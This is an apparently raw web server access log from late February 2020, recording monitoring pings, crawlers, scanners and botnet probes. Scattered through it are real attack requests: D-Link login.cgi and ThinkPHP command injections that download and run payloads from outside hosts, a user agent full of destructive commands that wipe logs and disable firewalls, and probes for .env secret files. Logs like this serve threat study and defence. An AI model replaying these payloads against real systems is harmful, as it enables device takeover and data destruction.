82.76.44.175 - - [26/Feb/2020:23:50:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.143.10.181 - - [26/Feb/2020:23:53:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:23:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.105.239.254 - - [26/Feb/2020:23:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:23:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:23:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [27/Feb/2020:00:00:07 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
18.144.15.189 - - [27/Feb/2020:00:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
95.252.142.116 - - [27/Feb/2020:00:10:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
128.14.133.58 - - [27/Feb/2020:00:13:14 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
120.132.8.8 - - [27/Feb/2020:00:14:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:21 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:21 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:21 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:22 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:22 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.132.8.8 - - [27/Feb/2020:00:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
198.20.103.178 - - [27/Feb/2020:00:15:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
54.36.149.5 - - [27/Feb/2020:00:16:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
58.11.9.180 - - [27/Feb/2020:00:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
81.16.119.96 - - [27/Feb/2020:00:18:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [27/Feb/2020:00:18:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [27/Feb/2020:00:18:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
177.101.123.138 - - [27/Feb/2020:00:20:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
18.144.15.189 - - [27/Feb/2020:00:27:58 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:27:58 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:27:58 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:27:58 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:27:58 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
151.72.31.147 - - [27/Feb/2020:00:28:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.100.12.210 - - [27/Feb/2020:00:31:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
190.213.160.22 - - [27/Feb/2020:00:31:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.130.191.24 - - [27/Feb/2020:00:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
131.196.203.47 - - [27/Feb/2020:00:39:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
203.154.59.166 - - [27/Feb/2020:00:40:29 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:29 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:30 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:30 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:31 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:31 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:32 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:33 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.154.59.166 - - [27/Feb/2020:00:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
169.197.108.6 - - [27/Feb/2020:00:40:44 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
91.199.118.136 - - [27/Feb/2020:00:46:44 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [27/Feb/2020:00:46:50 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
52.37.199.118 - - [27/Feb/2020:00:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
179.189.31.49 - - [27/Feb/2020:00:49:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
52.37.199.118 - - [27/Feb/2020:00:50:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:50:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
85.15.104.233 - - [27/Feb/2020:00:51:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
52.37.199.118 - - [27/Feb/2020:00:51:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:51:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
18.144.15.189 - - [27/Feb/2020:00:51:28 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:51:28 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:51:28 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:51:28 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:00:51:28 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
52.37.199.118 - - [27/Feb/2020:00:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
52.37.199.118 - - [27/Feb/2020:00:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
73.27.124.120 - - [27/Feb/2020:00:53:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
31.129.21.184 - - [27/Feb/2020:00:58:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.192.180.178 - - [27/Feb/2020:01:00:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [27/Feb/2020:01:00:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
36.108.150.111 - - [27/Feb/2020:01:00:05 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
211.192.180.178 - - [27/Feb/2020:01:00:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [27/Feb/2020:01:00:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
105.216.37.63 - - [27/Feb/2020:01:01:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.128.241.71 - - [27/Feb/2020:01:10:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [27/Feb/2020:01:10:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.134.170 - - [27/Feb/2020:01:10:24 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
128.14.134.170 - - [27/Feb/2020:01:10:24 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
125.128.241.71 - - [27/Feb/2020:01:10:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.17.132.222 - - [27/Feb/2020:01:11:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
107.6.150.242 - - [27/Feb/2020:01:12:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
18.144.15.189 - - [27/Feb/2020:01:14:57 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:01:14:57 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:01:14:57 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:01:14:57 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:01:14:57 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
71.6.232.9 - - [27/Feb/2020:01:16:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
220.116.93.35 - - [27/Feb/2020:01:20:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [27/Feb/2020:01:20:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [27/Feb/2020:01:20:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
86.124.88.196 - - [27/Feb/2020:01:23:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.25.21.167 - - [27/Feb/2020:01:27:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.25.21.167 - - [27/Feb/2020:01:27:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
14.102.189.40 - - [27/Feb/2020:01:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.38 - - [27/Feb/2020:01:30:32 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
189.175.120.122 - - [27/Feb/2020:01:30:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.94.136.130 - - [27/Feb/2020:01:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
43.242.39.153 - - [27/Feb/2020:01:31:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
134.35.201.96 - - [27/Feb/2020:01:39:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
118.68.129.66 - - [27/Feb/2020:01:41:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.25.88.174 - - [27/Feb/2020:01:42:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.25.88.174 - - [27/Feb/2020:01:42:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
91.250.22.171 - - [27/Feb/2020:01:44:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
172.93.45.104 - - [27/Feb/2020:01:46:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:21 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:21 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:22 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:22 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:23 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
172.93.45.104 - - [27/Feb/2020:01:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.241.236.210 - - [27/Feb/2020:01:48:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
157.97.95.110 - - [27/Feb/2020:01:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.93.184.231 - - [27/Feb/2020:01:52:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.188.126.5 - - [27/Feb/2020:02:09:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.73.204 - - [27/Feb/2020:02:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
175.136.121.33 - - [27/Feb/2020:02:15:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
101.255.115.146 - - [27/Feb/2020:02:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
80.181.182.208 - - [27/Feb/2020:02:26:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
107.6.150.242 - - [27/Feb/2020:02:40:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
84.1.219.167 - - [27/Feb/2020:02:40:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.77.27.83 - - [27/Feb/2020:02:42:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.138.75.88 - - [27/Feb/2020:02:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [27/Feb/2020:02:43:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
